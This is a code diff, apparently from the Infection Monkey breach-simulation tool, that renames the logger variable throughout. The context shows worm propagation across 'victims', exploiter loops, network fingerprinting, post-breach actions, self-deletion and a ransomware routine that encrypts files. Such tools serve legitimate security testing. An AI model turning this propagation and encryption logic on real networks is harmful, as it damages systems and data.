def start(self):
|
||||
try:
|
||||
LOG.info("Monkey is starting...")
|
||||
logger.info("Monkey is starting...")
|
||||
|
||||
LOG.debug("Starting the setup phase.")
|
||||
logger.debug("Starting the setup phase.")
|
||||
# Sets island's IP and port for monkey to communicate to
|
||||
self.set_default_server()
|
||||
self.set_default_port()
|
||||
|
@ -144,16 +144,18 @@ class InfectionMonkey(object):
|
|||
StateTelem(is_done=False, version=get_version()).send()
|
||||
TunnelTelem().send()
|
||||
|
||||
LOG.debug("Starting the post-breach phase asynchronously.")
|
||||
logger.debug("Starting the post-breach phase asynchronously.")
|
||||
self._post_breach_phase = Thread(target=self.start_post_breach_phase)
|
||||
self._post_breach_phase.start()
|
||||
|
||||
if not InfectionMonkey.max_propagation_depth_reached():
|
||||
LOG.info("Starting the propagation phase.")
|
||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||
logger.info("Starting the propagation phase.")
|
||||
logger.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||
self.propagate()
|
||||
else:
|
||||
LOG.info("Maximum propagation depth has been reached; monkey will not propagate.")
|
||||
logger.info(
|
||||
"Maximum propagation depth has been reached; monkey will not propagate."
|
||||
)
|
||||
TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()
|
||||
|
||||
if self._keep_running and WormConfiguration.alive:
|
||||
|
@ -164,17 +166,17 @@ class InfectionMonkey(object):
|
|||
# connect to the tunnel
|
||||
if len(self._exploited_machines) > 0:
|
||||
time_to_sleep = WormConfiguration.keep_tunnel_open_time
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
|
||||
)
|
||||
time.sleep(time_to_sleep)
|
||||
|
||||
except PlannedShutdownException:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"A planned shutdown of the Monkey occurred. Logging the reason and finishing "
|
||||
"execution."
|
||||
)
|
||||
LOG.exception("Planned shutdown, reason:")
|
||||
logger.exception("Planned shutdown, reason:")
|
||||
|
||||
finally:
|
||||
if self._monkey_tunnel:
|
||||
|
@ -193,13 +195,13 @@ class InfectionMonkey(object):
|
|||
return 0 == WormConfiguration.depth
|
||||
|
||||
def collect_system_info_if_configured(self):
|
||||
LOG.debug("Calling for system info collection")
|
||||
logger.debug("Calling for system info collection")
|
||||
try:
|
||||
system_info_collector = SystemInfoCollector()
|
||||
system_info = system_info_collector.get_info()
|
||||
SystemInfoTelem(system_info).send()
|
||||
except Exception as e:
|
||||
LOG.exception(f"Exception encountered during system info collection: {str(e)}")
|
||||
logger.exception(f"Exception encountered during system info collection: {str(e)}")
|
||||
|
||||
def shutdown_by_not_alive_config(self):
|
||||
if not WormConfiguration.alive:
|
||||
|
@ -230,7 +232,7 @@ class InfectionMonkey(object):
|
|||
|
||||
is_empty = False
|
||||
for finger in self._fingerprint:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Trying to get OS fingerprint from %r with module %s",
|
||||
machine,
|
||||
finger.__class__.__name__,
|
||||
|
@ -238,7 +240,7 @@ class InfectionMonkey(object):
|
|||
try:
|
||||
finger.get_host_fingerprint(machine)
|
||||
except BaseException as exc:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Failed to run fingerprinter %s, exception %s"
|
||||
% finger.__class__.__name__,
|
||||
str(exc),
|
||||
|
@ -248,13 +250,13 @@ class InfectionMonkey(object):
|
|||
|
||||
# skip machines that we've already exploited
|
||||
if machine in self._exploited_machines:
|
||||
LOG.debug("Skipping %r - already exploited", machine)
|
||||
logger.debug("Skipping %r - already exploited", machine)
|
||||
continue
|
||||
elif machine in self._fail_exploitation_machines:
|
||||
if WormConfiguration.retry_failed_explotation:
|
||||
LOG.debug("%r - exploitation failed before, trying again", machine)
|
||||
logger.debug("%r - exploitation failed before, trying again", machine)
|
||||
else:
|
||||
LOG.debug("Skipping %r - exploitation failed before", machine)
|
||||
logger.debug("Skipping %r - exploitation failed before", machine)
|
||||
continue
|
||||
|
||||
if self._monkey_tunnel:
|
||||
|
@ -267,7 +269,7 @@ class InfectionMonkey(object):
|
|||
)
|
||||
else:
|
||||
machine.set_default_server(self._default_server)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Default server for machine: %r set to %s"
|
||||
% (machine, machine.default_server)
|
||||
)
|
||||
|
@ -292,24 +294,24 @@ class InfectionMonkey(object):
|
|||
|
||||
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
|
||||
time_to_sleep = WormConfiguration.timeout_between_iterations
|
||||
LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
|
||||
logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
|
||||
time.sleep(time_to_sleep)
|
||||
|
||||
if self._keep_running and WormConfiguration.alive:
|
||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||
logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||
elif not WormConfiguration.alive:
|
||||
LOG.info("Marked not alive from configuration")
|
||||
logger.info("Marked not alive from configuration")
|
||||
|
||||
def upgrade_to_64_if_needed(self):
|
||||
if WindowsUpgrader.should_upgrade():
|
||||
self._upgrading_to_64 = True
|
||||
self._singleton.unlock()
|
||||
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
|
||||
logger.info("32bit monkey running on 64bit Windows. Upgrading.")
|
||||
WindowsUpgrader.upgrade(self._opts)
|
||||
raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.")
|
||||
|
||||
def cleanup(self):
|
||||
LOG.info("Monkey cleanup started")
|
||||
logger.info("Monkey cleanup started")
|
||||
self._keep_running = False
|
||||
|
||||
if self._upgrading_to_64:
|
||||
|
@ -326,7 +328,7 @@ class InfectionMonkey(object):
|
|||
self._singleton.unlock()
|
||||
|
||||
InfectionMonkey.self_delete()
|
||||
LOG.info("Monkey is shutting down")
|
||||
logger.info("Monkey is shutting down")
|
||||
|
||||
@staticmethod
|
||||
def close_tunnel():
|
||||
|
@ -334,7 +336,7 @@ class InfectionMonkey(object):
|
|||
ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0]
|
||||
)
|
||||
if tunnel_address:
|
||||
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||
logger.info("Quitting tunnel %s", tunnel_address)
|
||||
tunnel.quit_tunnel(tunnel_address)
|
||||
|
||||
@staticmethod
|
||||
|
@ -363,7 +365,7 @@ class InfectionMonkey(object):
|
|||
os.remove(sys.executable)
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
LOG.error("Exception in self delete: %s", exc)
|
||||
logger.error("Exception in self delete: %s", exc)
|
||||
status = ScanStatus.SCANNED
|
||||
if status:
|
||||
T1107Telem(status, sys.executable).send()
|
||||
|
@ -386,7 +388,7 @@ class InfectionMonkey(object):
|
|||
:return: True if successfully exploited, False otherwise
|
||||
"""
|
||||
if not exploiter.is_os_supported():
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Skipping exploiter %s host:%r, os %s is not supported",
|
||||
exploiter.__class__.__name__,
|
||||
machine,
|
||||
|
@ -394,7 +396,9 @@ class InfectionMonkey(object):
|
|||
)
|
||||
return False
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||
logger.info(
|
||||
"Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__
|
||||
)
|
||||
|
||||
result = False
|
||||
try:
|
||||
|
@ -403,11 +407,11 @@ class InfectionMonkey(object):
|
|||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
else:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__
|
||||
)
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Exception while attacking %s using %s: %s",
|
||||
machine,
|
||||
exploiter.__class__.__name__,
|
||||
|
@ -416,14 +420,14 @@ class InfectionMonkey(object):
|
|||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
except FailedExploitationError as e:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Failed exploiting %r with exploiter %s, %s",
|
||||
machine,
|
||||
exploiter.__class__.__name__,
|
||||
e,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.exception(
|
||||
logger.exception(
|
||||
"Exception while attacking %s using %s: %s",
|
||||
machine,
|
||||
exploiter.__class__.__name__,
|
||||
|
@ -442,13 +446,13 @@ class InfectionMonkey(object):
|
|||
if RUNS_AGENT_ON_SUCCESS:
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__)
|
||||
logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__)
|
||||
|
||||
# check if max-exploitation limit is reached
|
||||
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
||||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
|
||||
def set_default_port(self):
|
||||
try:
|
||||
|
@ -466,11 +470,11 @@ class InfectionMonkey(object):
|
|||
"Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)
|
||||
)
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server set to: %s" % self._default_server)
|
||||
logger.debug("default server set to: %s" % self._default_server)
|
||||
|
||||
def log_arguments(self):
|
||||
arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()])
|
||||
LOG.info(f"Monkey started with arguments: {arg_string}")
|
||||
logger.info(f"Monkey started with arguments: {arg_string}")
|
||||
|
||||
@staticmethod
|
||||
def run_ransomware():
|
||||
|
@ -478,4 +482,4 @@ class InfectionMonkey(object):
|
|||
ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware)
|
||||
ransomware_payload.run_payload()
|
||||
except Exception as ex:
|
||||
LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}")
|
||||
logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}")
|
||||
|
|
|
@ -11,7 +11,7 @@ from infection_monkey.network.HostFinger import HostFinger
|
|||
|
||||
ES_PORT = 9200
|
||||
ES_HTTP_TIMEOUT = 5
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ElasticFinger(HostFinger):
|
||||
|
@ -40,9 +40,9 @@ class ElasticFinger(HostFinger):
|
|||
host.services[ES_SERVICE]["version"] = data["version"]["number"]
|
||||
return True
|
||||
except Timeout:
|
||||
LOG.debug("Got timeout while trying to read header information")
|
||||
logger.debug("Got timeout while trying to read header information")
|
||||
except ConnectionError: # Someone doesn't like us
|
||||
LOG.debug("Unknown connection error")
|
||||
logger.debug("Unknown connection error")
|
||||
except KeyError:
|
||||
LOG.debug("Failed parsing the ElasticSearch JSOn response")
|
||||
logger.debug("Failed parsing the ElasticSearch JSOn response")
|
||||
return False
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
import infection_monkey.config
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPFinger(HostFinger):
|
||||
|
@ -41,11 +41,11 @@ class HTTPFinger(HostFinger):
|
|||
self.init_service(host.services, ("tcp-" + port[1]), port[0])
|
||||
host.services["tcp-" + port[1]]["name"] = "http"
|
||||
host.services["tcp-" + port[1]]["data"] = (server, ssl)
|
||||
LOG.info("Port %d is open on host %s " % (port[0], host))
|
||||
logger.info("Port %d is open on host %s " % (port[0], host))
|
||||
break # https will be the same on the same port
|
||||
except Timeout:
|
||||
LOG.debug(f"Timout while requesting headers from {url}")
|
||||
logger.debug(f"Timout while requesting headers from {url}")
|
||||
except ConnectionError: # Someone doesn't like us
|
||||
LOG.debug(f"Connection error while requesting headers from {url}")
|
||||
logger.debug(f"Connection error while requesting headers from {url}")
|
||||
|
||||
return True
|
||||
|
|
|
@ -5,7 +5,7 @@ import socket
|
|||
import infection_monkey.config
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLFinger(HostFinger):
|
||||
|
@ -42,11 +42,11 @@ class MSSQLFinger(HostFinger):
|
|||
|
||||
# send data and receive response
|
||||
try:
|
||||
LOG.info("Sending message to requested host: {0}, {1}".format(host, message))
|
||||
logger.info("Sending message to requested host: {0}, {1}".format(host, message))
|
||||
sock.sendto(message, server_address)
|
||||
data, server = sock.recvfrom(self.BUFFER_SIZE)
|
||||
except socket.timeout:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Socket timeout reached, maybe browser service on host: {0} doesnt "
|
||||
"exist".format(host)
|
||||
)
|
||||
|
@ -54,12 +54,12 @@ class MSSQLFinger(HostFinger):
|
|||
return False
|
||||
except socket.error as e:
|
||||
if e.errno == errno.ECONNRESET:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Connection was forcibly closed by the remote host. The host: {0} is "
|
||||
"rejecting the packet.".format(host)
|
||||
)
|
||||
else:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"An unknown socket error occurred while trying the mssql fingerprint, "
|
||||
"closing socket.",
|
||||
exc_info=True,
|
||||
|
@ -73,7 +73,7 @@ class MSSQLFinger(HostFinger):
|
|||
|
||||
# Loop through the server data
|
||||
instances_list = data[3:].decode().split(";;")
|
||||
LOG.info("{0} MSSQL instances found".format(len(instances_list)))
|
||||
logger.info("{0} MSSQL instances found".format(len(instances_list)))
|
||||
for instance in instances_list:
|
||||
instance_info = instance.split(";")
|
||||
if len(instance_info) > 1:
|
||||
|
|
|
@ -7,7 +7,7 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
|
|||
|
||||
MYSQL_PORT = 3306
|
||||
SQL_SERVICE = "mysqld-3306"
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MySQLFinger(HostFinger):
|
||||
|
@ -45,7 +45,7 @@ class MySQLFinger(HostFinger):
|
|||
|
||||
if protocol == 0xFF:
|
||||
# error code, bug out
|
||||
LOG.debug("Mysql server returned error")
|
||||
logger.debug("Mysql server returned error")
|
||||
return False
|
||||
|
||||
version, curpos = struct_unpack_tracker_string(
|
||||
|
@ -70,7 +70,7 @@ class MySQLFinger(HostFinger):
|
|||
s.close()
|
||||
|
||||
except Exception as err:
|
||||
LOG.debug("Error getting mysql fingerprint: %s", err)
|
||||
logger.debug("Error getting mysql fingerprint: %s", err)
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.network.info import get_interfaces_ranges, local_ips
|
|||
from infection_monkey.network.ping_scanner import PingScanner
|
||||
from infection_monkey.network.tcp_scanner import TcpScanner
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
ITERATION_BLOCK_SIZE = 5
|
||||
|
||||
|
@ -31,7 +31,7 @@ class NetworkScanner(object):
|
|||
if not self._ip_addresses:
|
||||
raise Exception("Cannot find local IP address for the machine")
|
||||
|
||||
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
||||
logger.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
||||
# for fixed range, only scan once.
|
||||
self._ranges = [
|
||||
NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list
|
||||
|
@ -39,7 +39,7 @@ class NetworkScanner(object):
|
|||
if WormConfiguration.local_network_scan:
|
||||
self._ranges += get_interfaces_ranges()
|
||||
self._ranges += self._get_inaccessible_subnets_ips()
|
||||
LOG.info("Base local networks to scan are: %r", self._ranges)
|
||||
logger.info("Base local networks to scan are: %r", self._ranges)
|
||||
|
||||
def _get_inaccessible_subnets_ips(self):
|
||||
"""
|
||||
|
@ -91,22 +91,22 @@ class NetworkScanner(object):
|
|||
|
||||
victims_count = 0
|
||||
for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE):
|
||||
LOG.debug("Scanning for potential victims in chunk %r", victim_chunk)
|
||||
logger.debug("Scanning for potential victims in chunk %r", victim_chunk)
|
||||
|
||||
# check before running scans
|
||||
if stop_callback and stop_callback():
|
||||
LOG.debug("Got stop signal")
|
||||
logger.debug("Got stop signal")
|
||||
return
|
||||
|
||||
results = pool.map(self.scan_machine, victim_chunk)
|
||||
resulting_victims = [x for x in results if x is not None]
|
||||
for victim in resulting_victims:
|
||||
LOG.debug("Found potential victim: %r", victim)
|
||||
logger.debug("Found potential victim: %r", victim)
|
||||
victims_count += 1
|
||||
yield victim
|
||||
|
||||
if victims_count >= max_find:
|
||||
LOG.debug("Found max needed victims (%d), stopping scan", max_find)
|
||||
logger.debug("Found max needed victims (%d), stopping scan", max_find)
|
||||
return
|
||||
if WormConfiguration.tcp_scan_interval:
|
||||
# time.sleep uses seconds, while config is in milliseconds
|
||||
|
@ -125,9 +125,9 @@ class NetworkScanner(object):
|
|||
:param victim: VictimHost machine
|
||||
:return: Victim or None if victim isn't alive
|
||||
"""
|
||||
LOG.debug("Scanning target address: %r", victim)
|
||||
logger.debug("Scanning target address: %r", victim)
|
||||
if any(scanner.is_host_alive(victim) for scanner in self.scanners):
|
||||
LOG.debug("Found potential target_ip: %r", victim)
|
||||
logger.debug("Found potential target_ip: %r", victim)
|
||||
return victim
|
||||
else:
|
||||
return None
|
||||
|
|
|
@ -14,7 +14,7 @@ TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+"
|
|||
LINUX_TTL = 64
|
||||
WINDOWS_TTL = 128
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class PingScanner(HostScanner, HostFinger):
|
||||
|
@ -30,7 +30,7 @@ class PingScanner(HostScanner, HostFinger):
|
|||
|
||||
def is_host_alive(self, host):
|
||||
ping_cmd = self._build_ping_command(host.ip_addr)
|
||||
LOG.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||
|
||||
return 0 == subprocess.call(
|
||||
ping_cmd,
|
||||
|
@ -40,7 +40,7 @@ class PingScanner(HostScanner, HostFinger):
|
|||
|
||||
def get_host_fingerprint(self, host):
|
||||
ping_cmd = self._build_ping_command(host.ip_addr)
|
||||
LOG.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||
|
||||
# If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result
|
||||
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
|
||||
|
@ -55,7 +55,7 @@ class PingScanner(HostScanner, HostFinger):
|
|||
errors="backslashreplace",
|
||||
)
|
||||
|
||||
LOG.debug(f"Retrieving ping command output using {encoding} encoding")
|
||||
logger.debug(f"Retrieving ping command output using {encoding} encoding")
|
||||
output = " ".join(sub_proc.communicate())
|
||||
regex_result = self._ttl_regex.search(output)
|
||||
if regex_result:
|
||||
|
@ -71,7 +71,7 @@ class PingScanner(HostScanner, HostFinger):
|
|||
|
||||
return True
|
||||
except Exception as exc:
|
||||
LOG.debug("Error parsing ping fingerprint: %s", exc)
|
||||
logger.debug("Error parsing ping fingerprint: %s", exc)
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.network.HostFinger import HostFinger
|
|||
SMB_PORT = 445
|
||||
SMB_SERVICE = "tcp-445"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Packet:
|
||||
|
@ -185,6 +185,6 @@ class SMBFinger(HostFinger):
|
|||
host.services[SMB_SERVICE]["os-version"] = os_version
|
||||
return True
|
||||
except Exception as exc:
|
||||
LOG.debug("Error getting smb fingerprint: %s", exc)
|
||||
logger.debug("Error getting smb fingerprint: %s", exc)
|
||||
|
||||
return False
|
||||
|
|
|
@ -12,7 +12,7 @@ from infection_monkey.network.info import get_routes, local_ips
|
|||
DEFAULT_TIMEOUT = 10
|
||||
BANNER_READ = 1024
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
SLEEP_BETWEEN_POLL = 0.5
|
||||
|
||||
|
||||
|
@ -59,7 +59,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
except socket.timeout:
|
||||
return False, None
|
||||
except socket.error as exc:
|
||||
LOG.debug("Check port: %s:%s, Exception: %s", ip, port, exc)
|
||||
logger.debug("Check port: %s:%s, Exception: %s", ip, port, exc)
|
||||
return False, None
|
||||
|
||||
banner = None
|
||||
|
@ -90,7 +90,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
possible_ports = []
|
||||
connected_ports_sockets = []
|
||||
try:
|
||||
LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports)))
|
||||
logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports)))
|
||||
for sock, port in zip(sockets, ports):
|
||||
err = sock.connect_ex((ip, port))
|
||||
if err == 0: # immediate connect
|
||||
|
@ -105,7 +105,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
if err == 115: # EINPROGRESS 115 /* Operation now in progress */
|
||||
possible_ports.append((port, sock))
|
||||
continue
|
||||
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
|
||||
logger.warning("Failed to connect to port %s, error code is %d", port, err)
|
||||
|
||||
if len(possible_ports) != 0:
|
||||
timeout = int(round(timeout)) # clamp to integer, to avoid checking input
|
||||
|
@ -125,7 +125,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
time.sleep(SLEEP_BETWEEN_POLL)
|
||||
timeout -= SLEEP_BETWEEN_POLL
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"On host %s discovered the following ports %s"
|
||||
% (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))
|
||||
)
|
||||
|
@ -150,7 +150,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
return [], []
|
||||
|
||||
except socket.error as exc:
|
||||
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
||||
logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
||||
return [], []
|
||||
|
||||
|
||||
|
@ -169,7 +169,7 @@ def get_interface_to_target(dst):
|
|||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Couldn't get an interface to the target, presuming that target is localhost."
|
||||
)
|
||||
ip_to_dst = "127.0.0.1"
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import
|
|||
)
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SignedScriptProxyExecution(PBA):
|
||||
|
@ -26,7 +26,7 @@ class SignedScriptProxyExecution(PBA):
|
|||
).decode()
|
||||
super().run()
|
||||
except Exception as e:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
f"An exception occurred on running PBA "
|
||||
f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
|
||||
)
|
||||
|
|
|
@ -11,7 +11,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
DIR_CHANGE_WINDOWS = "cd %s & "
|
||||
|
@ -78,7 +78,7 @@ class UsersPBA(PBA):
|
|||
|
||||
status = None
|
||||
if not pba_file_contents or not pba_file_contents.content:
|
||||
LOG.error("Island didn't respond with post breach file.")
|
||||
logger.error("Island didn't respond with post breach file.")
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
if not status:
|
||||
|
@ -99,5 +99,5 @@ class UsersPBA(PBA):
|
|||
written_PBA_file.write(pba_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not upload post breach file to target machine: %s" % e)
|
||||
logger.error("Can not upload post breach file to target machine: %s" % e)
|
||||
return False
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
|
|||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.plugins.plugin import Plugin
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class PBA(Plugin):
|
||||
|
@ -56,7 +56,7 @@ class PBA(Plugin):
|
|||
).send()
|
||||
PostBreachTelem(self, result).send()
|
||||
else:
|
||||
LOG.debug(f"No command available for PBA '{self.name}' on current OS, skipping.")
|
||||
logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.")
|
||||
|
||||
def is_script(self):
|
||||
"""
|
||||
|
|
|
@ -4,7 +4,7 @@ from typing import Sequence
|
|||
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class PostBreach(object):
|
||||
|
@ -21,7 +21,7 @@ class PostBreach(object):
|
|||
"""
|
||||
with Pool(5) as pool:
|
||||
pool.map(self.run_pba, self.pba_list)
|
||||
LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
|
||||
logger.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list() -> Sequence[PBA]:
|
||||
|
@ -32,8 +32,8 @@ class PostBreach(object):
|
|||
|
||||
def run_pba(self, pba):
|
||||
try:
|
||||
LOG.debug("Executing PBA: '{}'".format(pba.name))
|
||||
logger.debug("Executing PBA: '{}'".format(pba.name))
|
||||
pba.run()
|
||||
LOG.debug(f"Execution of {pba.name} finished")
|
||||
logger.debug(f"Execution of {pba.name} finished")
|
||||
except Exception as e:
|
||||
LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
|
||||
logger.error("PBA {} failed. Error info: {}".format(pba.name, e))
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
from common.utils.file_utils import InvalidPath, expand_path
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class RansomwareConfig:
|
||||
|
@ -23,5 +23,5 @@ class RansomwareConfig:
|
|||
try:
|
||||
self.target_directory = expand_path(target_directory)
|
||||
except InvalidPath as e:
|
||||
LOG.debug(f"Target ransomware directory set to None: {e}")
|
||||
logger.debug(f"Target ransomware directory set to None: {e}")
|
||||
self.target_directory = None
|
||||
|
|
|
@ -7,7 +7,7 @@ from infection_monkey.ransomware.ransomware_config import RansomwareConfig
|
|||
from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class RansomwarePayload:
|
||||
|
@ -30,7 +30,7 @@ class RansomwarePayload:
|
|||
if not self._config.target_directory:
|
||||
return
|
||||
|
||||
LOG.info("Running ransomware payload")
|
||||
logger.info("Running ransomware payload")
|
||||
|
||||
if self._config.encryption_enabled:
|
||||
file_list = self._find_files()
|
||||
|
@ -40,19 +40,19 @@ class RansomwarePayload:
|
|||
self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME)
|
||||
|
||||
def _find_files(self) -> List[Path]:
|
||||
LOG.info(f"Collecting files in {self._config.target_directory}")
|
||||
logger.info(f"Collecting files in {self._config.target_directory}")
|
||||
return sorted(self._select_files(self._config.target_directory))
|
||||
|
||||
def _encrypt_files(self, file_list: List[Path]):
|
||||
LOG.info(f"Encrypting files in {self._config.target_directory}")
|
||||
logger.info(f"Encrypting files in {self._config.target_directory}")
|
||||
|
||||
for filepath in file_list:
|
||||
try:
|
||||
LOG.debug(f"Encrypting {filepath}")
|
||||
logger.debug(f"Encrypting {filepath}")
|
||||
self._encrypt_file(filepath)
|
||||
self._send_telemetry(filepath, True, "")
|
||||
except Exception as ex:
|
||||
LOG.warning(f"Error encrypting {filepath}: {ex}")
|
||||
logger.warning(f"Error encrypting {filepath}: {ex}")
|
||||
self._send_telemetry(filepath, False, str(ex))
|
||||
|
||||
def _send_telemetry(self, filepath: Path, success: bool, error: str):
|
||||
|
|
|
@ -18,11 +18,11 @@ from infection_monkey.utils.bit_manipulators import flip_bits
|
|||
EXTENSION = ".m0nk3y"
|
||||
CHUNK_SIZE = 4096 * 24
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def build_ransomware_payload(config: dict):
|
||||
LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}")
|
||||
logger.debug(f"Ransomware payload configuration:\n{pformat(config)}")
|
||||
